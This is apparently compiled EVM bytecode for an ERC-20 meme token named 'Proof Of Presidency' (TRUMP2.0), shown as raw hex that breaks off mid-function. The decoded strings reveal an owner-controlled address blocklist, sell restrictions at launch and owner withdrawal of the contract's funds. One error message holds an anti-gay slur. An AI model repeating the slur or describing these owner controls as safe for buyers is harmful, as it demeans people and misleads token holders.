61037857600080fd5b50610381610b97565b005b34801561038f57600080fd5b50610398610cea565b005b3480156103a657600080fd5b506103af610d6b565b6040516103bc9190612a3d565b60405180910390f35b3480156103d157600080fd5b506103da610d94565b6040516103e7919061274d565b60405180910390f35b3480156103fc57600080fd5b506104176004803603810190610412919061288d565b610dd1565b005b34801561042557600080fd5b50610440600480360381019061043b9190612817565b610ea4565b60405161044d9190612872565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190612ba0565b610ec2565b005b610487610fec565b005b34801561049557600080fd5b506104b060048036038101906104ab9190612be9565b611136565b6040516104bd91906128c9565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e8919061288d565b6111bd565b005b3480156104fb57600080fd5b506105166004803603810190610511919061288d565b611279565b005b60606040518060400160405280601381526020017f50726f6f66204f6620507265736964656e637900000000000000000000000000815250905090565b600061056961056261148f565b8484611497565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105b461148f565b73ffffffffffffffffffffffffffffffffffffffff16146105d457600080fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106519190612a3d565b602060405180830381865afa15801561066e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106929190612c3e565b6040518363ffffffff1660e01b81526004016106af929190612cca565b6020604051808303816000875af11580156106ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f29190612d1f565b505050565b6000670de0b6b3a7640000905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074861148f565b73ffffffffffffffffffffffffffffffffffffffff161461076857600080fd5b6064821115801561077a575060648111155b6107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b090612d98565b60405180910390fd5b8160098190555080600a819055505050565b60006107d8848484611660565b610899846107e461148f565b610894856040518060600160405280602881526020016137cc60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084a61148f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7e9092919063ffffffff16565b611497565b600190509392505050565b6108ac61148f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612e04565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109de61148f565b73ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b8060138190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a4961148f565b73ffffffffffffffffffffffffffffffffffffffff1614610a6957600080fd5b6064818385610a789190612e53565b610a829190612e53565b14610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990612ed3565b60405180910390fd5b82600b8190555081600c8190555080600d81905550505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1d61148f565b73ffffffffffffffffffffffffffffffffffffffff1614610b3d57600080fd5b6000479050610b4b81611de2565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b9f61148f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2390612e04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d2b61148f565b73ffffffffffffffffffffffffffffffffffffffff1614610d4b57600080fd5b670de0b6b3a7640000601181905550670de0b6b3a7640000601281905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5452554d50322e30000000000000000000000000000000000000000000000000815250905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e1261148f565b73ffffffffffffffffffffffffffffffffffffffff1614610e3257600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000610e9530610b4e565b9050610ea081611f95565b5050565b6000610eb8610eb161148f565b8484611660565b6001905092915050565b610eca61148f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4e90612e04565b60405180910390fd5b60005b8151811015610fe857600160056000848481518110610f7c57610f7b612ef3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610fe090612f22565b915050610f5a565b5050565b610ff461148f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611081576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107890612e04565b60405180910390fd5b601860149054906101000a900460ff16156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c890612fb6565b60405180910390fd5b6110eb6110dd30610b4e565b476110e6610d6b565b61220e565b6001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff02191690831515021790555060b44261112e9190612e53565b600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fe61148f565b73ffffffffffffffffffffffffffffffffffffffff161461121e57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61128161148f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590612e04565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061140d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612323565b905092915050565b60008083036114275760009050611489565b600082846114359190612fd6565b90508284826114449190613047565b14611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147b906130ea565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd9061317c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c9061320e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165391906128c9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c6906132a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173590613332565b60405180910390fd5b60008111611781576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611778906133c4565b60405180910390fd5b600954600881905550611792610d6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561180057506117d0610d6b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5e57600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118a95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118b257600080fd5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561195d5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119b35750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119c0575060075442105b15611aff5760125481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a139190612e53565b1115611a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4b90613430565b60405180910390fd5b601154811115611a6357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aae57600080fd5b601e42611abb9190612e53565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601860159054906101000a900460ff16158015611b6a5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b825750601860169054906101000a900460ff165b8015611bd85750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c5d576007544211611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c18906134c2565b60405180910390fd5b6000611c2c30610b4e565b9050601354811115611c5b57611c4181611f95565b60004790506000811115611c5957611c5847611de2565b5b505b505b5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611d095750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d6e57600a546008819055505b611d79838383612386565b505050565b6000838311158290611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd919061274d565b60405180910390fd5b5060008385611dd591906134e2565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e46600b54611e386064866113cb90919063ffffffff16565b61141590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e71573d6000803e3d6000fd5b50601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ed6600c54611ec86064866113cb90919063ffffffff16565b61141590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f01573d6000803e3d6000fd5b50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f66600d54611f586064866113cb90919063ffffffff16565b61141590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f91573d6000803e3d6000fd5b5050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fcd57611fcc612a5d565b5b604051908082528060200260200182016040528015611ffb5781602001602082028036833780820191505090505b509050308160008151811061201357612012612ef3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120de919061352b565b816001815181106120f2576120f1612ef3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215930601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611497565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121bd959493929190613651565b600060405180830381600087803b1580156121d757600080fd5b505af11580156121eb573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b6001601860156101000a81548160ff02191690831515021790555061225630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611497565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b81526004016122bd969594939291906136ab565b60606040518083038185885af11580156122db573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612300919061370c565b5050506000601860156101000a81548160ff021916908315150217905550505050565b6000808311829061236a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612361919061274d565b60405180910390fd5b50600083856123799190613047565b9050809150509392505050565b600080612392836125c1565b915091506123e883600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125b291906128c9565b60405180910390a35050505050565b60008060006125ef6103e86125e16008548761141590919063ffffffff16565b6113cb90919063ffffffff16565b90506000612606828661261590919063ffffffff16565b90508082935093505050915091565b600061265783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d7e565b905092915050565b600080828461266e9190612e53565b9050838110156126b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126aa906137ab565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126f75780820151818401526020810190506126dc565b60008484015250505050565b6000601f19601f8301169050919050565b600061271f826126bd565b61272981856126c8565b93506127398185602086016126d9565b61274281612703565b840191505092915050565b600060208201905081810360008301526127678184612714565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127ae82612783565b9050919050565b6127be816127a3565b81146127c957600080fd5b50565b6000813590506127db816127b5565b92915050565b6000819050919050565b6127f4816127e1565b81146127ff57600080fd5b50565b600081359050612811816127eb565b92915050565b6000806040838503121561282e5761282d612779565b5b600061283c858286016127cc565b925050602061284d85828601612802565b9150509250929050565b60008115159050919050565b61286c81612857565b82525050565b60006020820190506128876000830184612863565b92915050565b6000602082840312156128a3576128a2612779565b5b60006128b1848285016127cc565b91505092915050565b6128c3816127e1565b82525050565b60006020820190506128de60008301846128ba565b92915050565b600080604083850312156128fb576128fa612779565b5b600061290985828601612802565b925050602061291a85828601612802565b9150509250929050565b60008060006060848603121561293d5761293c612779565b5b600061294b868287016127cc565b935050602061295c868287016127cc565b925050604061296d86828701612802565b9150509250925092565b600060ff82169050919050565b61298d81612977565b82525050565b60006020820190506129a86000830184612984565b92915050565b6000602082840312156129c4576129c3612779565b5b60006129d284828501612802565b91505092915050565b6000806000606084860312156129f4576129f3612779565b5b6000612a0286828701612802565b9350506020612a1386828701612802565b9250506040612a2486828701612802565b9150509250925092565b612a37816127a3565b82525050565b6000602082019050612a526000830184612a2e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a9582612703565b810181811067ffffffffffffffff82111715612ab457612ab3612a5d565b5b80604052505050565b6000612ac761276f565b9050612ad38282612a8c565b919050565b600067ffffffffffffffff821115612af357612af2612a5d565b5b602082029050602081019050919050565b600080fd5b6000612b1c612b1784612ad8565b612abd565b90508083825260208201905060208402830185811115612b3f57612b3e612b04565b5b835b81811015612b685780612b5488826127cc565b845260208401935050602081019050612b41565b5050509392505050565b600082601f830112612b8757612b86612a58565b5b8135612b97848260208601612b09565b91505092915050565b600060208284031215612bb657612bb5612779565b5b600082013567ffffffffffffffff811115612bd457612bd361277e565b5b612be084828501612b72565b91505092915050565b60008060408385031215612c0057612bff612779565b5b6000612c0e858286016127cc565b9250506020612c1f858286016127cc565b9150509250929050565b600081519050612c38816127eb565b92915050565b600060208284031215612c5457612c53612779565b5b6000612c6284828501612c29565b91505092915050565b6000819050919050565b6000612c90612c8b612c8684612783565b612c6b565b612783565b9050919050565b6000612ca282612c75565b9050919050565b6000612cb482612c97565b9050919050565b612cc481612ca9565b82525050565b6000604082019050612cdf6000830185612cbb565b612cec60208301846128ba565b9392505050565b612cfc81612857565b8114612d0757600080fd5b50565b600081519050612d1981612cf3565b92915050565b600060208284031215612d3557612d34612779565b5b6000612d4384828501612d0a565b91505092915050565b7f63616e6e6f742073657420666565732061626f76652031302500000000000000600082015250565b6000612d826019836126c8565b9150612d8d82612d4c565b602082019050919050565b60006020820190508181036000830152612db181612d75565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612dee6020836126c8565b9150612df982612db8565b602082019050919050565b60006020820190508181036000830152612e1d81612de1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e5e826127e1565b9150612e69836127e1565b9250828201905080821115612e8157612e80612e24565b5b92915050565b7f6d61746820666167676f74000000000000000000000000000000000000000000600082015250565b6000612ebd600b836126c8565b9150612ec882612e87565b602082019050919050565b60006020820190508181036000830152612eec81612eb0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612f2d826127e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612f5f57612f5e612e24565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612fa06017836126c8565b9150612fab82612f6a565b602082019050919050565b60006020820190508181036000830152612fcf81612f93565b9050919050565b6000612fe1826127e1565b9150612fec836127e1565b9250828202612ffa816127e1565b9150828204841483151761301157613010612e24565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613052826127e1565b915061305d836127e1565b92508261306d5761306c613018565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006130d46021836126c8565b91506130df82613078565b604082019050919050565b60006020820190508181036000830152613103816130c7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131666024836126c8565b91506131718261310a565b604082019050919050565b6000602082019050818103600083015261319581613159565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006131f86022836126c8565b91506132038261319c565b604082019050919050565b60006020820190508181036000830152613227816131eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061328a6025836126c8565b91506132958261322e565b604082019050919050565b600060208201905081810360008301526132b98161327d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061331c6023836126c8565b9150613327826132c0565b604082019050919050565b6000602082019050818103600083015261334b8161330f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006133ae6029836126c8565b91506133b982613352565b604082019050919050565b600060208201905081810360008301526133dd816133a1565b9050919050565b7f6e6f742061206368616e63652062756200000000000000000000000000000000600082015250565b600061341a6010836126c8565b9150613425826133e4565b602082019050919050565b600060208201905081810360008301526134498161340d565b9050919050565b7f53656c6c732070726f6869626974656420666f7220746865206669727374203460008201527f206d696e75746573000000000000000000000000000000000000000000000000602082015250565b60006134ac6028836126c8565b91506134b782613450565b604082019050919050565b600060208201905081810360008301526134db8161349f565b9050919050565b60006134ed826127e1565b91506134f8836127e1565b92508282039050818111156135105761350f612e24565b5b92915050565b600081519050613525816127b5565b92915050565b60006020828403121561354157613540612779565b5b600061354f84828501613516565b91505092915050565b6000819050919050565b600061357d61357861357384613558565b612c6b565b6127e1565b9050919050565b61358d81613562565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135c8816127a3565b82525050565b60006135da83836135bf565b60208301905092915050565b6000602082019050919050565b60006135fe82613593565b613608818561359e565b9350613613836135af565b8060005b8381101561364457815161362b88826135ce565b9750613636836135e6565b925050600181019050613617565b5085935050505092915050565b600060a08201905061366660008301886128ba565b6136736020830187613584565b818103604083015261368581866135f3565b90506136946060830185612a2e565b6136a160808301846128ba565b9695505050505050565b600060c0820190506136c06000830189612a2e565b6136cd60208301886128ba565b6136da6040830187613584565b6136e76060830186613584565b6136f46080830185612a2e565b61370160a08301846128ba565b979650505050505050565b60008060006060848603121561372557613724612779565b5b600061373386828701612c29565b935050602061374486828701612c29565b925050604061375586828701612c29565b9150509250925092565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613795601b836126c8565b91506137a08261375f565b602082019050919050565b600060208201905081810360008301526137c481613788565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122074fbd4aef1dbf7d03791ba5bfe3de227c19ceefed0b0aa035a51cefc80ffed7964736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb14610419578063b515566a14610456578063c9567bf91461047f578063dd62ed3e14610489578063e57f14e1146104c6578063f2fde38b146104ef5761014b565b806370a082311461032f578063715018a61461036c578063751039fc146103835780638da5cb5b1461039a57806395d89b41146103c5578063a72e41ff146103f05761014b565b806323b872dd1161010857806323b872dd14610235578063273123b714610272578063313ce5671461029b5780634ea18fab146102c657806360c89484146102ef5780636fc3eaec146103185761014b565b806306fdde0314610150578063095ea7b31461017b57806316114acd146101b857806318160ddd146101e157806321ecff5b1461020c5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610518565b604051610172919061274d565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612817565b610555565b6040516101af9190612872565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da919061288d565b610573565b005b3480156101ed57600080fd5b506101f66106f7565b60405161020391906128c9565b60405180910390f35b34801561021857600080fd5b50610233600480360381019061022e91906128e4565b610707565b005b34801561024157600080fd5b5061025c60048036038101906102579190612924565b6107cb565b6040516102699190612872565b60405180910390f35b34801561027e57600080fd5b506102996004803603810190610294919061288d565b6108a4565b005b3480156102a757600080fd5b506102b0610994565b6040516102bd9190612993565b60405180910390f35b3480156102d257600080fd5b506102ed60048036038101906102e891906129ae565b61099d565b005b3480156102fb57600080fd5b50610316600480360381019061031191906129db565b610a08565b005b34801561032457600080fd5b5061032d610adc565b005b34801561033b57600080fd5b506103566004803603810190610351919061288d565b610b4e565b60405161036391906128c9565b60405180910390f35b34801561037857600080fd5b50610381610b97565b005b34801561038f57600080fd5b50610398610cea565b005b3480156103a657600080fd5b506103af610d6b565b6040516103bc9190612a3d565b60405180910390f35b3480156103d157600080fd5b506103da610d94565b6040516103e7919061274d565b60405180910390f35b3480156103fc57600080fd5b506104176004803603810190610412919061288d565b610dd1565b005b34801561042557600080fd5b50610440600480360381019061043b9190612817565b610ea4565b60405161044d9190612872565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190612ba0565b610ec2565b005b610487610fec565b005b34801561049557600080fd5b506104b060048036038101906104ab9190612be9565b611136565b6040516104bd91906128c9565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e8919061288d565b6111bd565b005b3480156104fb57600080fd5b506105166004803603810190610511919061288d565b611279565b005b60606040518060400160405280601381526020017f50726f6f66204f6620507265736964656e637900000000000000000000000000815250905090565b600061056961056261148f565b8484611497565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105b461148f565b73ffffffffffffffffffffffffffffffffffffffff16146105d457600080fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106519190612a3d565b602060405180830381865afa15801561066e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106929190612c3e565b6040518363ffffffff1660e01b81526004016106af929190612cca565b6020604051808303816000875af11580156106ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f29190612d1f565b505050565b6000670de0b6b3a7640000905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074861148f565b73ffffffffffffffffffffffffffffffffffffffff161461076857600080fd5b6064821115801561077a575060648111155b6107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b090612d98565b60405180910390fd5b8160098190555080600a819055505050565b60006107d8848484611660565b610899846107e461148f565b610894856040518060600160405280602881526020016137cc60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084a61148f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7e9092919063ffffffff16565b611497565b600190509392505050565b6108ac61148f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612e04565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109de61148f565b73ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b8060138190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a4961148f565b73ffffffffffffffffffffffffffffffffffffffff1614610a6957600080fd5b6064818385610a789190612e53565b610a829190612e53565b14610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990612ed3565b60405180910390fd5b82600b8190555081600c8190555080600d81905550505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1d61148f565b73ffffffffffffffffffffffffffffffffffffffff1614610b3d57600080fd5b6000479050610b4b81611de2565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b9f61148f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2390612e04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000805490610100